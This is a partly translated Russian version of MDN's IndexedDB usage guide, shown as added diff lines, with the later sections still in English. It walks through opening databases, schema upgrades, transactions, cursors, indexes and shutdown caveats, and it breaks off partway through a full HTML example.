+<p>Справочную документацию по IndexedDB API вы найдете в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p>
+
+<h2 id="pattern" name="pattern">Типичная схема работы с базой</h2>
+
+<p>Обычная последовательность шагов при работе с IndexedDB :</p>
+
+<ol>
+ <li>Открыть базу данных.</li>
+ <li>Создать хранилище объектов в базе данных, над которой будут выполняться наши операции. </li>
+ <li>Запустить транзакцию и выдать запрос на выполнение какой-либо операции с базой данных, например, добавление или извлечение данных.</li>
+ <li>
+  <div>Ждать завершения операции, "слушая" событие DOM, на которое должен быть установлен наш обработчик.</div>
+ </li>
+ <li>
+  <div>Сделать что-то с результатами (которые могут быть найдены в возвращаемом по нашему запросу объекте ).</div>
+ </li>
+</ol>
+
+<p>Теперь, получив общее представление, переходим к более конкретным деталям.</p>
+
+<h2 id="open" name="open">Создание и структурирование хранилища</h2>
+
+<p>Так как спецификация пока еще находится в процесе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят,  префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока еще используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p>
+
+<h3 id="Использование_экспериментальной_версии_IndexedDB">Использование экспериментальной версии IndexedDB</h3>
+
+<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока еще не отказались от префикса, можно воспользоваться следующим кодом:</p>
+
+<pre class="brush: js">// проверяем существования префикса.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// НЕ ИСПОЛЬЗУЙТЕ "var indexedDB = ..." вне функции.
+// также могут отличаться и window.IDB* objects: Transaction, KeyRange и тд
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla никогда не создавала префиксов для объектов, поэтому window.mozIDB* не требуется проверять)</pre>
+
+<p>Имейте в виду, что  реализации, в которых всё ещё используются префиксы, могут содержать ошибки, быть неполными или следовать устаревшей спецификации. Поэтому их не рекомендуется использовать в ваших рабочих проектах. Предпочтительнее отказаться от таких браузеров, чем получать от них ошибки:</p>
+
+<pre class="brush: js">if (!window.indexedDB) {
+    window.alert("Ваш браузер не поддерживат стабильную версию IndexedDB. Такие-то функции будут недоступны");
+}
+</pre>
+
+<h3 id="Открытие_базы_данных">Открытие базы данных</h3>
+
+<p>Как-то так:</p>
+
+<pre class="brush: js">// Открываем базу данных MyTestDatabase
+var request = window.indexedDB.open("MyTestDatabase", 3);
+</pre>
+
+<p>Видите? Открытие базы данных, подобно любым другим операциям, запускается запросом.</p>
+
+<p>На  самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернет объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a>  с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p>
+
+<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов  и их структуру . Если база данных еще не существует, то она создается операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого  ваш обработчик этого события создает схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p>
+
+<div class="warning">
+<p>Версия базы данных имеет внутреннее представление <code>unsigned long long</code> number (длинное длинное целое без знака), то есть может принимать очень большие целые значения. Имейте в виду также, что нет смысла использовать в качестве версии базы данных значение с плавающей точкой (float), потому что оно будет сконвертировано в ближайшее меньшее целое. В результате неожиданно может не запуститься транзакция или сработать триггер события <code>upgradeneeded</code>. Например, не используйте значение  2.4 как версию базы данных:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">,</span> <span class="number token">2.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token"> // <code class="language-js"><span class="comment token">не делайте так, потому что версия будет округлена до 2</span></code></span></code></pre>
+</div>
+
+<h4 id="Установка_обработчиков">Установка обработчиков</h4>
+
+<p>Первое, что понадобится сделать практически со всеми запросами, которые вы создаёте - это добавить обработчики событий успеха и ошибки:</p>
+
+<pre class="brush: js">request.onerror = function(event) {
+  // Сделать что-то при ошибке request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Выполнить какой-то код если запрос успешный request.result!
+};</pre>
+
+<p>Какая из двух функций<code> - onsuccess()</code> или <code>onerror()</code> - должна быть вызвана?  Если всё в порядке - то инициируется событие успеха (это событие DOM,  свойство type которого выставлено в <code>"success"</code>)  с <code>request</code> в качестве <code>target</code>. Это вызывает запуск  функции <code>onsuccess()</code> объекта <code>request</code>  с событием успеха в качестве аргумента. В противном случае, если возникают какие-то проблемы, то происходит событие ошибки (то есть событие DOM, свойство <code>type</code> которого установлено в  <code>"error"</code>) . Это приводит к запуску  функции <code><code>onerror()</code></code> с событием ошибки в качестве аргумента.</p>
+
+<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объемов данных для использования офлайн. (Чтобы узнать,  сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p>
+
+<p>Конечно же, браузеры стремятся не позволить назойливым рекламным сетям или вредоносным сайтам засорять ваш компьютер. Поэтому при первой попытке любого веб-приложения открыть хранилище IndexedDB, браузер запрашивает разрешение пользователя. Пользователь может выбрать - то ли разрешить, то ли запретить доступ. Кроме этого, в приватных режимах браузеров (частный просмотр для Firefox и режим инкогнито для Chrome), IndexedDB полностью запрещена для использования. Так как цель приватных режимов - не оставлять следов, то открытие базы данных невозможно в таких режимах.</p>
+
+<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code>   является экземпляром объекта <code>IDBDatabase</code> и вы определенно захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> db<span class="punctuation token">;</span>
+<span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Почему Вы не позволяете моему веб-приложению использовать IndexedDB?!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code>
+</pre>
+
+<h4 id="Обработка_ошибок">Обработка ошибок</h4>
+
+<p>Как уже упоминалось выше, события ошибки всплывают. Событие ошибки нацелено (в фазе перехвата) на запрос, который сгенерировал ошибку, затем событие всплывает до уровня транзакции и наконец достигает уровня объекта базы данных. Если вы хотите избежать установки отдельных обработчиков на каждый запрос, то вы можете вместо этого установить один единственный обработчик на объект базы данных, например так:</p>
+
+<pre class="brush: js">db.onerror = function(event) {
+  // все ошибки выводим в alert
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
+<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохраненная на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p>
+
+<h3 id="Создание_или_обновление_версии_базы_данных">Создание или обновление версии базы данных</h3>
+
+<p>Когда вы создаете новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p>
+
+<pre class="brush:js;">// Это событие появилось только в самых новых браузерах
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Создаем хранилище объектов для этой базы данных
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</pre>
+
+<p>Версия числа без знака с длиной <code>long long, может быть очень большим.</code></p>
+
+<div class="warning">
+<p>Так же вы не можете использовать float, его значение будет округлено до ближайшего целого, со всеми вытекающими из этого ошибками:</p>
+
+<pre class="brush: js">var request = indexedDB.open("MyTestDatabase", 2.4); // Будет округлено до 2</pre>
+</div>
+
+<p>Когда вы увеличиваете номер версии, будет инициировано событие onupgradeneeded. В этот момент БД будет хранить старые объекты. Но для всякого объекта прошлой версии стоит создать новый объект, совместимый с новой версией. Если вам необходимо исправить существующий объект в БД (например, для изменения keyPath), то вы можете удалить объект и создать его вновь с новыми параметрами (помните, что удаление стирает информацию, так что не забывайте сохранять то, что вам нужно).</p>
+
+<p>WebKit поддержимает текущую версию спецификации в Google Chrome 23 и старше. Так что там нет события <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">indexedDB.open(name, version).onupgradeneeded. Однако, вы можете ознакомиться с инструкцией <a href="/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">о том, что делать со старым </a></span><a href="/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">Webkit</a>.</p>
+
+<h3 id="Структура_базы_данных">Структура базы данных</h3>
+
+<p>Now to structure the database. IndexedDB uses object stores rather than tables, and a single database can contain any number of object stores. Whenever a value is stored in an object store, it is associated with a key. There are several different ways that a key can be supplied depending on whether the object store uses a <a href="/en/IndexedDB#gloss_key_path" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">key path</a> or a <a href="/en/IndexedDB#gloss_key_generator" title="en/IndexedDB#gloss key generator">key generator</a>.</p>
+
+<p>The following table shows the different ways the keys are supplied. </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Key Path</th>
+   <th scope="col">Key Generator</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>No</td>
+   <td>No</td>
+   <td>This object store can hold any kind of value, even primitive values like numbers and strings. You must supply a separate key argument whenever you want to add a new value.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>No</td>
+   <td>This object store can only hold JavaScript objects. The objects must have a property with the same name as the key path.</td>
+  </tr>
+  <tr>
+   <td>No</td>
+   <td>Yes</td>
+   <td>This object store can hold any kind of value. The key is generated for you automatically, or you can supply a separate key argument if you want to use a specific key.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>This object store can only hold JavaScript objects. Usually a key is generated and the value of the generated key is stored in the object in a property with the same name as the key path. However, if such a property already exists, the value of that property is used as key rather than generating a new key.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>You can also create indices on any object store, provided the object store holds objects, not primitives. An index lets you look up the values stored in an object store using the value of a property of the stored object, rather than the object's key.</p>
+
+<p>Additionally, indexes have the ability to enforce simple constraints on the stored data. By setting the unique flag when creating the index, the index ensures that no two objects are stored with both having the same value for the index's key path. So, for example, if you have an object store which holds a set of people, and you want to ensure that no two people have the same email address, you can use an index with the unique flag set to enforce this.</p>
+
+<p>That may sound confusing, but this simple example should illustrate the concepts:</p>
+
+<pre class="brush: js">// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Store values in the newly created objectStore.
+  for (var i in customerData) {
+    objectStore.add(customerData[i]);
+  }
+};
+</pre>
+
+<p>As mentioned previously, <code>onupgradeneeded</code> is the only place where you can alter the structure of the database. In it, you can create and delete object stores and build and remove indices.</p>
+
+<div>Object stores are created with a single call to <code>createObjectStore()</code>. The method takes a name of the store, and a parameter object. Even though the parameter object is optional, it is very important, because it lets you define important optional properties and refine the type of object store you want to create. In our case, we've asked for an object store named "customers" and  defined a keyPath that is the property that makes an individual object in the store unique. That property in this example is "ssn" since a social security number is guaranteed to be unique. "ssn" must be present on every object that is stored in the objectStore. </div>
+
+<p>We've also asked for an index named "name" that looks at the <code>name</code> property of the stored objects. As with <code>createObjectStore()</code>, <code>createIndex()</code> takes an optional <code>options</code> object that refines the type of  index that you want to create. Adding objects that don't have a <code>name</code> property still succeeds, but the object won't appear in the "name" index.</p>
+
+<p>We can now retrieve the stored customer objects using their <code>ssn</code> from the object store directly, or using their name by using the index. To learn how this is done, see the section on <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="Using IndexedDB#Using an index">using an index</a>.</p>
+
+<h2 id="Adding_and_removing_data">Adding and removing data</h2>
+
+<p>Before you can do anything with your new database, you need to start a transaction. Transactions come from the database object, and you have to specify which object stores you want the transaction to span. Also, you need to decide if you're going to make changes to the database or if you just need to read from it.  Although transactions have three modes (read-only, read/write, and versionchange), you're better off using a read-only transaction when you can, because they can run concurrently</p>
+
+<h3 id="Adding_data_to_the_database">Adding data to the database</h3>
+
+<p>If you've just created a database, then you probably want to write to it. Here's what that looks like:</p>
+
+<pre class="brush:js;">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+
+<p>The <code>transaction()</code> function takes two arguments (though one is optional) and returns a transaction object. The first argument is a list of object stores that the transaction will span. You can pass an empty array if you want the transaction to span all object stores, but don't do it because the spec says an empty array should generate an InvalidAccessError. If you don't specify anything for the second argument, you get a read-only transaction. Since you want to write to it here you need to pass the <code>"readwrite"</code> flag.</p>
+
+<p>Now that you have a transaction you need to understand its lifetime. Transactions are tied very closely to the event loop. If you make a transaction and return to the event loop without using it then the transaction will become inactive. The only way to keep the transaction active is to make a request on it. When the request is finished you'll get a DOM event and, assuming that the request succeeded, you'll have another opportunity to extend the transaction during that callback. If you return to the event loop without extending the transaction then it will become inactive, and so on. As long as there are pending requests the transaction remains active. Transaction lifetimes are really very simple but it might take a little time to get used to. A few more examples will help, too. If you start seeing <code>TRANSACTION_INACTIVE_ERR</code> error codes then you've messed something up.</p>
+
+<p>Transactions can receive DOM events of three different types: <code>error</code>, <code>abort</code>, and <code>complete</code>. We've talked about the way that <code>error</code> events bubble, so a transaction  receives error events from any requests that are generated from it. A more subtle point here is that the default behavior of an error is to abort the transaction in which it occurred. Unless you handle the error by calling <code>preventDefault()</code> on the error event, the entire transaction is rolled back. This design forces you to  think about and handle errors, but you can always add a catchall error handler to the database if fine grained error handling is too cumbersome. If you don't handle an error event or if you call <code>abort()</code> on the transaction, then the transaction is rolled back and an <code>abort</code> event is fired on the transaction. Otherwise, after all pending requests have completed, you'll get a <code>complete</code> event. If you're doing lots of database operations, then tracking the transaction rather than individual requests can certainly aide your sanity.</p>
+
+<p>Now that you have a transaction, you'll need to get the object store from it. Transactions only let you have an object store that you specified when creating the transaction. Then you can add all the data you need.</p>
+
+<pre class="brush: js">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}</pre>
+
+<p>The <code>result</code> of a request generated from a call to <code>add() </code>is the key of the value that was added. So in this case, it should equal the <code>ssn</code> property of the object that was added, since the object store uses the <code>ssn</code> property for the key path. Note that the <code>add()</code> function requires that no object already be in the database with the same key. If you're trying to modify an existing entry, or you don't care if one exists already, use the <code>put()</code> function.</p>
+
+<h2 id="Removing_data_from_the_database">Removing data from the database</h2>
+
+<p>Removing data is very similar:</p>
+
+<pre class="brush: js">var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};</pre>
+
+<h2 id="Getting_data_from_the_database">Getting data from the database</h2>
+
+<p>Now that the database has some info in it, you can retrieve it in several ways. First, the simple <code>get()</code>. You need to provide the key to retrieve the value, like so:</p>
+
+<pre class="brush: js">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+
+<p>That's a lot of code for a "simple" retrieval. Here's how you can shorten it up a bit, assuming that you handle errors at the database level:</p>
+
+<pre class="brush: js">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+
+<p>See how this works? Since there's only one object store, you can avoid passing a list of object stores you need in your transaction and just pass the name as a string. Also, you're only reading from the database, so you don't need a <code>"readwrite"</code> transaction. Calling <code>transaction()</code> with no mode specified gives you a <code>"readonly"</code> transaction. Another subtlety here is that you don't actually save the request object to a variable. Since the DOM event has the request as its target you can use the event to get to the <code>result</code> property. Easy, right?!</p>
+
+<h2 id="Using_a_cursor">Using a cursor</h2>
+
+<p>Using <code>get()</code> requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:</p>
+
+<pre class="brush: js">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};</pre>
+
+<p>The<code> openCursor()</code> function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the <code>result</code> of the request (above we're using the shorthand, so it's <code>event.target.result</code>). Then the actual key and value can be found on the <code>key</code> and <code>value</code> properties of the cursor object. If you want to keep going, then you have to call <code>continue()</code> on the cursor. When you've reached the end of the data (or if there were no entries that matched your <code>openCursor()</code> request) you still get a success callback, but the <code>result</code> property is <code>undefined</code>.</p>
+
+<p>One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:</p>
+
+<pre class="brush: js">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};</pre>
+
+<div class="warning"><strong>Warning:</strong> The following function is not part of the IndexedDB standard!</div>
+
+<p>Mozilla has also implemented <code>getAll()</code> to handle this case. It isn't part of the IndexedDB standard, so it may disappear in the future. We've included it because we think it's useful. The following code does precisely the same thing as above:</p>
+
+<pre class="brush: js">objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};</pre>
+
+<p>There is a performance cost associated with looking at the <code>value</code> property of a cursor, because the object is created lazily. When you use <code>getAll()</code>, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use <code>getAll()</code>. If you're trying to get an array of all the objects in an object store, though, use <code>getAll()</code>.</p>
+
+<h3 id="Using_an_index">Using an index</h3>
+
+<p>Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.</p>
+
+<pre class="brush: js">var index = objectStore.index("name");
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};</pre>
+
+<p>The "name" cursor isn't unique, so there could be more than one entry with the <code>name</code> set to <code>"Donna"</code>. In that case you always get the one with the lowest key value.</p>
+
+<p>If you need to access all the entries with a given <code>name</code> you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:</p>
+
+<pre class="brush: js">index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};</pre>
+
+<h3 id="Specifying_the_range_and_direction_of_cursors">Specifying the range and direction of cursors</h3>
+
+<p>If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to <code>openCursor()</code> or <code>openKeyCursor()</code>. You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:</p>
+
+<pre class="brush: js">// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+//Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing <code>prev</code> to the <code>openCursor()</code> function:</p>
+
+<pre class="brush: js">objectStore.openCursor(null, IDBCursor.prev).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Since the "name" index isn't unique, there might be multiple entries where <code>name</code> is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass <code>nextunique</code> (or <code>prevunique</code> if you're going backwards) as the direction parameter. When <code>nextunique</code> or <code>prevunique</code> is used, the entry with the lowest key is always the one returned.</p>
+
+<pre class="brush: js">index.openKeyCursor(null, IDBCursor.nextunique).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<h2 id="Version_changes_while_a_web_app_is_open_in_another_tab">Version changes while a web app is open in another tab</h2>
+
+<p>When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call <code>open()</code> with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:</p>
+
+<pre class="brush: js">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+</pre>
+
+<h2 id="Security">Security</h2>
+
+<p>IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.</p>
+
+<p>It's important to note that IndexedDB doesn't work for content loaded into a frame from another site (either {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. This is a security and privacy measure and can be considered analogous the blocking of 3rd-party cookies.  For more details, see {{ bug(595307) }}.</p>
+
+<h2 id="Warning_About_Browser_Shutdown">Warning About Browser Shutdown</h2>
+
+<p>When the browser shuts down (e.g., when the user selects Exit or clicks the Close button),  any pending IndexedDB transactions are (silently) aborted -- they will not complete, and they will not trigger the error handler.  Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete or to know that it did not complete.  There are several implications of this behavior.</p>
+
+<p>First, you should take care to always leave your database in a consistent state at the end of every transaction.  For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit.  You save the list after the edit by clearing the object store and then writing out the new list.  If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database.  To avoid this, you should combine the clear and the write into a single transaction. </p>
+
+<p>Second, you should never tie database transactions to unload events.  If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete.  An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes.  However, this will not work.  The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.</p>
+
+<p>In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown.  See {{ bug(870645) }}.</p>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Full IndexedDB example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+    &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+    &lt;div class="note"&gt;
+      &lt;p&gt;
+        Works and tested with:
+      &lt;/p&gt;
+      &lt;div id="compat"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="msg"&gt;
+    &lt;/div&gt;
+
+    &lt;form id="register-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-title" class="required"&gt;
+                Title:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid" class="required"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+            &lt;/td&gt;
